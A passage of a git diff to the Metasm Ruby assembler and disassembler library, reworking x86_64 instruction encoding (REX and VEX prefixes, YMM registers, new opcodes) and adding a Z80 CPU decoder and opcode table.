0x65][v.val] end }.compact.pack 'C*' - pfx << op.props[:needpfx] if op.props[:needpfx] - rex_w = rex_r = rex_x = rex_b = nil + rex_w = rex_r = rex_x = rex_b = 0 if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' case i.args[0].sz when 64; rex_w = 1 when 32 when 16; pfx << 0x66 end + elsif op.name == 'crc32' + case i.args[1].sz + when 64; rex_w = 1 + when 32; + when 16; pfx << 0x66 + end else opsz = op.props[:argsz] || i.prefix[:sz] oi.each { |oa, ia| case oa - when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm + when :reg, :reg_eax, :modrm, :mrm_imm raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz opsz = ia.sz end @@ -140,7 +147,7 @@ class X86_64 opsz ||= 64 if op.props[:auto64] opsz = op.props[:opsz] if op.props[:opsz] # XXX ? case opsz - when 64; rex_w = 1 if not op.props[:auto64] + when 64; rex_w = 1 if not op.props[:auto64] and (not op.props[:argsz] or op.props[:opsz] == 64) when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64] when 16; pfx << 0x66 end @@ -168,25 +175,27 @@ class X86_64 when :reg set_field[oa, ia.val_enc] if op.fields[:reg][1] == 3 - rex_r = ia.val_rex + rex_r = ia.val_rex || 0 else - rex_b = ia.val_rex + rex_b = ia.val_rex || 0 end - when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regxmm, :regmmx + when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm set_field[oa, ia.val & 7] rex_r = 1 if ia.val > 7 pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 + when :vexvreg, :vexvxmm, :vexvymm + set_field[:vex_vvvv, ia.val ^ 0xf] when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 # implicit - when :modrm, :modrmA, :modrmmmx, :modrmxmm + when :modrm, :modrmmmx, :modrmxmm, :modrmymm # postpone, but we must set rex now case ia when ModRM ia.encode(0, @endianness) # could swap b/i - rex_x = ia.i.val_rex if ia.i - rex_b = ia.b.val_rex if ia.b + rex_x = ia.i.val_rex || 0 if ia.i + rex_b = ia.b.val_rex || 0 if ia.b when Reg - rex_b = ia.val_rex + rex_b = ia.val_rex || 0 else rex_b = ia.val >> 3 end @@ -196,7 +205,7 @@ class X86_64 end } - if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty? + if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? # reg field of modrm regval = (base[-1] >> 3) & 7 base.pop @@ -210,20 +219,26 @@ class X86_64 postponed.first[1] = Expression[target, :-, postlabel] end - if rex_w == 1 or rex_r == 1 or rex_b == 1 or rex_x == 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } - rex ||= 0x40 - rex |= 1 if rex_b.to_i > 0 - rex |= 2 if rex_x.to_i > 0 - rex |= 4 if rex_r.to_i > 0 - rex |= 8 if rex_w.to_i > 0 + pfx << op.props[:needpfx] if op.props[:needpfx] + + if op.fields[:vex_r] + set_field[:vex_r, rex_r ^ 1] + set_field[:vex_x, rex_x ^ 1] if op.fields[:vex_x] + set_field[:vex_b, rex_b ^ 1] if op.fields[:vex_b] + set_field[:vex_w, rex_w] if op.fields[:vex_w] + elsif rex_r + rex_x + rex_b + rex_w >= 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } + rex = 0x40 + rex |= 1 if rex_b == 1 + rex |= 2 if rex_x == 1 + rex |= 4 if rex_r == 1 + rex |= 8 if rex_w == 1 + pfx << rex end - pfx << rex if rex ret = EncodedData.new(pfx + base.pack('C*')) postponed.each { |oa, ia| case oa - when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmA, :modrmmmx, :modrmxmm + when :modrm, :modrmmmx, :modrmxmm, :modrmymm if ia.kind_of? ModRM ed = ia.encode(regval, @endianness) if ed.kind_of?(::Array) @@ -243,8 +258,22 @@ class X86_64 when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness) when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness) when :i - type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym) - ed = ia.encode(type, @endianness) + type = if opsz == 64 + if op.props[:imm64] + :a64 + else + if _ia = ia.reduce and _ia.kind_of?(Integer) and _ia > 0 and (_ia >> 63) == 1 + # handle 0xffffffff_ffffffff -> -1, which should fit in i32 + ia = Expression[_ia - (1 << 64)] + end + :i32 + end + else + "a#{opsz}".to_sym + end + ed = ia.encode(type, @endianness) + when :i4xmm, :i4ymm + ed = ia.val << 4 # u8 else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" end diff --git a/lib/metasm/metasm/x86_64/main.rb b/lib/metasm/metasm/cpu/x86_64/main.rb similarity index 89% rename from lib/metasm/metasm/x86_64/main.rb rename to lib/metasm/metasm/cpu/x86_64/main.rb index 2afed391d9..7c9b74250c 100644 --- a/lib/metasm/metasm/x86_64/main.rb +++ b/lib/metasm/metasm/cpu/x86_64/main.rb @@ -5,19 +5,27 @@ require 'metasm/main' -require 'metasm/ia32' +require 'metasm/cpu/ia32' module Metasm # The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...) class X86_64 < Ia32 # FpReg, SegReg, Farptr unchanged - # XXX ST(15) ? - # Simd extended to 16 regs, xmm only (mmx gone with 80387) + # XMM extended to 16 regs, YMM class SimdReg < Ia32::SimdReg - double_map 64 => (0..15).map { |n| "mm#{n}" }, - 128 => (0..15).map { |n| "xmm#{n}" } + double_map 64 => (0..7).map { |n| "mm#{n}" }, + 128 => (0..15).map { |n| "xmm#{n}" }, + 256 => (0..15).map { |n| "ymm#{n}" } + + def val_enc + @val & 7 + end + + def val_rex + @val >> 3 + end end # general purpose registers, all sizes @@ -94,6 +102,10 @@ class X86_64 < Ia32 simple_map((0..15).map { |i| [i, "cr#{i}"] }) end + class TstReg < Ia32::TstReg + simple_map((0..15).map { |i| [i, "tr#{i}"] }) + end + # Create a new instance of an X86 cpu # arguments (any order) # - instruction set (386, 486, sse2...) [latest] @@ -121,7 +133,7 @@ class X86_64 < Ia32 def str_to_reg(str) # X86_64::Reg != Ia32::Reg - Reg.from_str(str) if Reg.s_to_i.has_key? str + Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil end def shortname diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb new file mode 100644 index 0000000000..149c090948 --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/opcodes.rb @@ -0,0 +1,136 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/main' +require 'metasm/cpu/ia32/opcodes' + +module Metasm +class X86_64 + def init_cpu_constants + super() + [:i32, :u32, :i64, :u64].each { |a| @valid_args[a] = true } + end + + def init_386_common_only + super() + # :imm64 => accept a real int64 as :i argument + # :auto64 => ignore rex_w, always 64-bit op + # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest + [:imm64, :auto64, :op32no64].each { |a| @valid_props[a] = true } + @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix + @opcode_list.each { |o| + o.props[:imm64] = true if o.bin == [0xB8] # mov reg, + o.props[:auto64] = true if o.name =~ /^(j.*|loop.*|call|enter|leave|push|pop|ret)$/ + } + addop 'movsxd', [0x63], :mrm + addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } + addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } + end + + # all x86_64 cpu understand <= sse2 instrs + def init_x8664_only + init_386_common_only + init_386_only + init_387_only + init_486_only + init_pentium_only + init_p6_only + init_sse_only + init_sse2_only + + @opcode_list.delete_if { |o| + o.args.include?(:seg2) or + o.args.include?(:seg2A) or + o.args.include?(:farptr) or + %w[aaa aad aam aas bound daa das into jcxz jecxz + lds les loadall arpl pusha pushad popa + popad].include?(o.name.split('.')[0]) + # split needed for lds.a32 + } + + @opcode_list.each { |o| + o.props[:auto64] = true if o.name =~ /^(enter|leave|[sl]gdt|[sl]idt|[sl]ldt|[sl]tr|push|pop|syscall)$/ + } + + addop('cmpxchg16b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 64 ; o.props[:argsz] = 128 } + addop('iretq', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 64 } ; opcode_list.unshift opcode_list.pop + addop 'swapgs', [0x0F, 0x01, 0xF8] + + addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 } + addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } + addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 + addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 } + end + + def init_sse3 + init_x8664_only + init_sse3_only + end + + def init_sse41_only + super() + addop('pextrq', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } + addop('pinsrq', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } + end + + def init_avx_only + super() + addop('rdfsbase', [0x0F, 0xAE], 0, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('rdgsbase', [0x0F, 0xAE], 1, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('wrfsbase', [0x0F, 0xAE], 2, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('wrgsbase', [0x0F, 0xAE], 3, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + end + + def addop_macrostr(name, bin, type) + super(name, bin, type) + bin = bin.dup + bin[0] |= 1 + addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } + end + + def addop_macroret(name, bin, *args) + addop(name + '.i64', bin, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 64 } + super(name, bin, *args) + end + + def addop_post(op) + if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 + return super(op) + end + + if op.props[:needpfx] + @opcode_list.unshift op + else + @opcode_list << op + end + + if op.args == [:i] or op.name == 'ret' + # define opsz-override version for ambiguous opcodes + op16 = op.dup + op16.name << '.i16' + op16.props[:opsz] = 16 + @opcode_list << op16 + # push call ret jz can't 32bit + op64 = op.dup + op64.name << '.i64' + op64.props[:opsz] = 64 + @opcode_list << op64 + elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or + op.args.include? :modrm or op.name =~ /loop|xlat/ + # define adsz-override version for ambiguous opcodes (movsq) + # XXX loop pfx 67 = rip+ecx, 66/rex ignored + op32 = op.dup + op32.name << '.a32' + op32.props[:adsz] = 32 + @opcode_list << op32 + op64 = op.dup + op64.name << '.a64' + op64.props[:adsz] = 64 + @opcode_list << op64 + end + end +end +end diff --git a/lib/metasm/metasm/x86_64/parse.rb b/lib/metasm/metasm/cpu/x86_64/parse.rb similarity index 77% rename from lib/metasm/metasm/x86_64/parse.rb rename to lib/metasm/metasm/cpu/x86_64/parse.rb index 0435eac521..8a558ba1df 100644 --- a/lib/metasm/metasm/x86_64/parse.rb +++ b/lib/metasm/metasm/cpu/x86_64/parse.rb @@ -4,8 +4,8 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' -require 'metasm/x86_64/encode' +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/cpu/x86_64/encode' require 'metasm/parse' module Metasm @@ -29,7 +29,7 @@ class X86_64 # needed due to how ruby inheritance works wrt constants def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg] + [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] end # same inheritance sh*t def parse_modrm(lex, tok, cpu) @@ -52,6 +52,8 @@ class X86_64 return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 + # vex c4/c5 + return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8)))) if o.name == 'movsxd' return if not arg.kind_of? Reg and not arg.kind_of? ModRM arg.sz ||= 32 @@ -62,7 +64,13 @@ class X86_64 return arg.sz == 32 end end + return if o.name == 'xchg' and spec == :reg and o.args.include?(:reg_eax) and arg.kind_of?(Reg) and arg.sz == 32 and arg.val == 0 + super(o, spec, arg) end + + def check_reserved_name(name) + Reg.s_to_i[name] + end end end diff --git a/lib/metasm/metasm/cpu/x86_64/render.rb b/lib/metasm/metasm/cpu/x86_64/render.rb new file mode 100644 index 0000000000..c14813f01c --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/render.rb @@ -0,0 +1,35 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/render' + +module Metasm +class X86_64 + def gui_hilight_word_regexp_init + ret = {} + + %w[a b c d].each { |r| + ret["#{r}l"] = "[re]?#{r}x|#{r}l" + ret["#{r}h"] = "[re]?#{r}x|#{r}h" + ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]" + } + + %w[sp bp si di].each { |r| + ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l" + } + + (8..15).each { |i| + r = "r#{i}" + ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?" + } + + ret['eip'] = ret['rip'] = '[re]ip' + + ret + end +end +end diff --git a/lib/metasm/metasm/cpu/z80.rb b/lib/metasm/metasm/cpu/z80.rb new file mode 100644 index 0000000000..a842092909 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80.rb @@ -0,0 +1,9 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/z80/decode' +require 'metasm/cpu/z80/render' diff --git a/lib/metasm/metasm/cpu/z80/decode.rb b/lib/metasm/metasm/cpu/z80/decode.rb new file mode 100644 index 0000000000..f4f6898646 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/decode.rb @@ -0,0 +1,313 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/z80/opcodes' +require 'metasm/decode' + +module Metasm +class Z80 + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = Array.new(op.bin.length, 0) + op.fields.each { |f, (oct, off)| + op.bin_mask[oct] |= (@fields_mask[f] << off) + } + op.bin_mask.map! { |v| 255 ^ v } + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = op.bin[0] + msk = op.bin_mask[0] + next @unknown_opcode = op if not b + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_prefix(instr, byte) + case byte + when 0xDD; instr.prefix = 0xDD + when 0xFD; instr.prefix = 0xFD + # implicit 'else return false' + end + end + + # tries to find the opcode encoded at edata.ptr + # if no match, tries to match a prefix (update di.instruction.prefix) + # on match, edata.ptr points to the first byte of the opcode (after prefixes) + def decode_findopcode(edata) + di = DecodedInstruction.new self + while edata.ptr < edata.data.length + byte = edata.data[edata.ptr] + byte = byte.unpack('C').first if byte.kind_of?(::String) + return di if di.opcode = @bin_lookaside[byte].find { |op| + # fetch the relevant bytes from edata + bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') + # check against full opcode mask + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } + } + + if decode_prefix(di.instruction, edata.get_byte) + nb = edata.data[edata.ptr] + nb = nb.unpack('C').first if nb.kind_of?(::String) + case nb + when 0xCB + # DD CB [] + di.instruction.prefix |= edata.get_byte << 8 + di.bin_length += 2 + opc = edata.data[edata.ptr+1] + opc = opc.unpack('C').first if opc.kind_of?(::String) + bseq = [0xCB, opc] + # XXX in decode_instr_op, byte[0] is the immediate displacement instead of cb + return di if di.opcode = @bin_lookaside[nb].find { |op| + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } + } + when 0xED + di.instruction.prefix = nil + end + else + di.opcode = @unknown_opcode + return di + end + di.bin_length += 1 + end + end + + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length + pfx = di.instruction.prefix + + field_val = lambda { |f| + if fld = op.fields[f] + (bseq[fld[0]] >> fld[1]) & @fields_mask[f] + end + } + + op.args.each { |a| + di.instruction.args << case a + when :i8, :u8, :i16, :u16; Expression[edata.decode_imm(a, @endianness)] + when :iy; Expression[field_val[a]] + when :iy8; Expression[field_val[a]*8] + + when :rp + v = field_val[a] + Reg.new(16, v) + when :rp2 + v = field_val[a] + v = 4 if v == 3 + Reg.new(16, v) + when :ry, :rz + v = field_val[a] + if v == 6 + Memref.new(Reg.from_str('HL'), nil, 1) + else + Reg.new(8, v) + end + + when :r_a; Reg.from_str('A') + when :r_af; Reg.from_str('AF') + when :r_hl; Reg.from_str('HL') + when :r_de; Reg.from_str('DE') + when :r_sp; Reg.from_str('SP') + when :r_i; Reg.from_str('I') + + when :m16; Memref.new(nil, edata.decode_imm(:u16, @endianness), nil) + when :m_bc; Memref.new(Reg.from_str('BC'), nil, 1) + when :m_de; Memref.new(Reg.from_str('DE'), nil, 1) + when :m_sp; Memref.new(Reg.from_str('SP'), nil, 2) + when :m_hl; Memref.new(Reg.from_str('HL'), nil, 1) + when :mf8; Memref.new(nil, 0xff00 + edata.decode_imm(:u8, @endianness), 1) + when :mfc; Memref.new(Reg.from_str('C'), 0xff00, 1) + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + case pfx + when 0xDD + when 0xFD + when 0xCBDD + when 0xCBFD + end + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = 0xffff + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'ld'; lambda { |di, a0, a1, *aa| a2 = aa[0] ; a2 ? { a0 => Expression[a1, :+, a2] } : { a0 => Expression[a1] } } + when 'ldi'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :+, 1] } } + when 'ldd'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :-, 1] } } + when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, 'xor' => :^, 'or' => :| }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbc' + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'cp', 'cmp'; lambda { |di, *a| {} } + when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } + when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } + when 'push' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[a0] } } + when 'pop' + lambda { |di, a0| { :sp => Expression[:sp, :+, 2], + a0 => Indirection[:sp, 2, di.address] } } + when 'call' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[di.next_addr] } + } + when 'ret', 'reti'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } + # TODO callCC, retCC ... + when 'bswap' + lambda { |di, a0| { a0 => Expression[ + [[a0, :&, 0xff00], :>>, 8], :|, + [[a0, :&, 0x00ff], :<<, 8]] } } + when 'nop', /^j/; lambda { |di, *a| {} } + end + + # TODO flags ? + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + def fix_fwdemu_binding(di, fbd) + case di.opcode.name + when 'push', 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + case di.opcode.basename + when 'ret', 'reti' + return [Indirection[:sp, 2, di.address]] + when /^jr|^djnz/ + # jmp/call are absolute addrs, only jr/djnz are relative + # also, the asm source should display the relative offset + return [Expression[[di.address, :+, di.bin_length], :+, di.instruction.args.first]] + end + + case tg = di.instruction.args.first + when Memref; [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include?(:sp) + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/z80/main.rb b/lib/metasm/metasm/cpu/z80/main.rb new file mode 100644 index 0000000000..516c919e8b --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/main.rb @@ -0,0 +1,67 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class Z80 < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E', + 4 => 'H', 5 => 'L', 7 => 'A' }, + 16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP', + 4 => 'AF' } } # AF is 3 too + @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)| + h.update rh.inject({}) { |hh, (i, n)| + hh.update n => [sz, i] } } + + attr_accessor :sz, :i + def initialize(sz, i) + @sz = sz + @i = i + end + + def symbolic(orig=nil) ; to_s.to_sym ; end + + def self.from_str(s) + raise "Bad name #{s.inspect}" if not x = @s_to_i[s] + new(*x) + end + end + + class Memref + attr_accessor :base, :offset, :sz + def initialize(base, offset, sz=nil) + @base = base + offset = Expression[offset] if offset + @offset = offset + @sz = sz + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz, orig] + end + end + + def initialize(family = :latest) + super() + @endianness = :little + @size = 16 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/z80/opcodes.rb b/lib/metasm/metasm/cpu/z80/opcodes.rb new file mode 100644 index 0000000000..055de44249 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/opcodes.rb @@ -0,0 +1,224 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/z80/main' + +module Metasm + +class Z80 + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] or @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [bin.length-1, @fields_shift[a]] if @fields_mask[a] + raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] + } + @opcode_list << o + end + + def addop_macrocc(name, bin, *args) + %w[nz z nc c po pe p m].each_with_index { |cc, i| + dbin = bin.dup + dbin[0] |= i << 3 + addop name + cc, dbin, *args + } + end + + # data from http://www.z80.info/decoding.htm + def init_z80_common + @opcode_list = [] + @valid_args.update [:i8, :u8, :i16, :u16, :m16, + :r_a, :r_af, :r_hl, :r_de, :r_sp, :r_i, + :m_bc, :m_de, :m_sp, :m_hl, :mf8, :mfc + ].inject({}) { |h, v| h.update v => true } + @fields_mask.update :rz => 7, :ry => 7, :rp => 3, :rp2 => 3, :iy => 7, :iy8 => 7 + @fields_shift.update :rz => 0, :ry => 3, :rp => 4, :rp2 => 4, :iy => 3, :iy8 => 3 + + # some opcodes are in init_z80 when they are not part of the GB ABI + addop 'nop', [0b00_000_000] + addop 'jr', [0b00_011_000], :setip, :stopexec, :i8 + %w[nz z nc c].each_with_index { |cc, i| + addop 'jr' + cc, [0b00_100_000 | (i << 3)], :setip, :i8 + } + addop 'ld', [0b00_000_001], :rp, :i16 + addop 'add', [0b00_001_001], :r_hl, :rp + + addop 'ld', [0b00_000_010], :m_bc, :r_a + addop 'ld', [0b00_001_010], :r_a, :m_bc + addop 'ld', [0b00_010_010], :m_de, :r_a + addop 'ld', [0b00_011_010], :r_a, :m_de + + addop 'inc', [0b00_000_011], :rp + addop 'dec', [0b00_001_011], :rp + addop 'inc', [0b00_000_100], :ry + addop 'dec', [0b00_000_101], :ry + addop 'ld', [0b00_000_110], :ry, :i8 + + addop 'rlca', [0b00_000_111] # rotate + addop 'rrca', [0b00_001_111] + addop 'rla', [0b00_010_111] + addop 'rra', [0b00_011_111] + + addop 'daa', [0b00_100_111] + addop 'cpl', [0b00_101_111] + addop 'scf', [0b00_110_111] + addop 'ccf', [0b00_111_111] + + addop 'halt', [0b01_110_110] # ld (HL), (HL) + addop 'ld', [0b01_000_000], :ry, :rz + + addop 'add', [0b10_000_000], :r_a, :rz + addop 'adc', [0b10_001_000], :r_a, :rz + addop 'sub', [0b10_010_000], :r_a, :rz + addop 'sbc', [0b10_011_000], :r_a, :rz + addop 'and', [0b10_100_000], :r_a, :rz + addop 'xor', [0b10_101_000], :r_a, :rz + addop 'or', [0b10_110_000], :r_a, :rz + addop 'cmp', [0b10_111_000], :r_a, :rz # alias cp + addop 'cp', [0b10_111_000], :r_a, :rz # compare + + addop_macrocc 'ret', [0b11_000_000], :setip + addop 'pop', [0b11_000_001], :rp2 + addop 'ret', [0b11_001_001], :stopexec, :setip + addop 'jmp', [0b11_101_001], :r_hl, :setip, :stopexec # alias jp + addop 'jp', [0b11_101_001], :r_hl, :setip, :stopexec + addop 'ld', [0b11_111_001], :r_sp, :r_hl + addop_macrocc 'j', [0b11_000_010], :setip, :u16 # alias jp + addop_macrocc 'jp', [0b11_000_010], 